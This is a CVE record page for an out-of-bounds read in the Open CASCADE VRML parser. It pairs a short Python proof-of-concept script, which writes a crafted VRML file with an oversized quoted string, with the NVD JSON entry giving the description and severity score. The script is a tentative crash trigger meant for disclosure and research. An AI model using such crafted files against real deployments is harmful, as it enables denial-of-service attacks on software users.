CVE-2026-42480

import sys # PoC to generate a malicious VRML file # This file attempts to trigger the out-of-bounds read in OCCT V8_0_0_rc5 def generate_malicious_vrml(filename): # The vulnerability is in VrmlData_Scene::ReadLine # It involves ptr[++anOffset] without bounds checking. # We create a long quoted string to potentially hit the buffer boundary. # Note: Exact offset to trigger the crash might require debugging the specific binary. header = "#VRML V2.0 utf8\n" # Attempting to trigger the escape handler issue # Constructing a string that pushes the parser to the limit payload = "Shape {\n geometry Box {\n size " # Adding a large quoted string to stress the parser payload += "\"" + "A" * 10000 + "\"\n" payload += "}\n}\n" with open(filename, "w") as f: f.write(header + payload) print(f"[+] Malicious VRML file generated: {filename}") if __name__ == "__main__": generate_malicious_vrml("exploit_vrml.wrl")

{"cve": {"id": "CVE-2026-42480", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:32.047", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based out-of-bounds read vulnerability in VrmlData_Scene::ReadLine in the VRML parser in Open CASCADE Technology (OCCT) V8_0_0_rc5 allows attackers to cause a denial of service via a crafted VRML file. The issue occurs because the quoted-string escape handler uses ptr[++anOffset] without proper bounds checking, which can read past the end of a fixed-size stack buffer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a", "source": "[email protected]"}]}}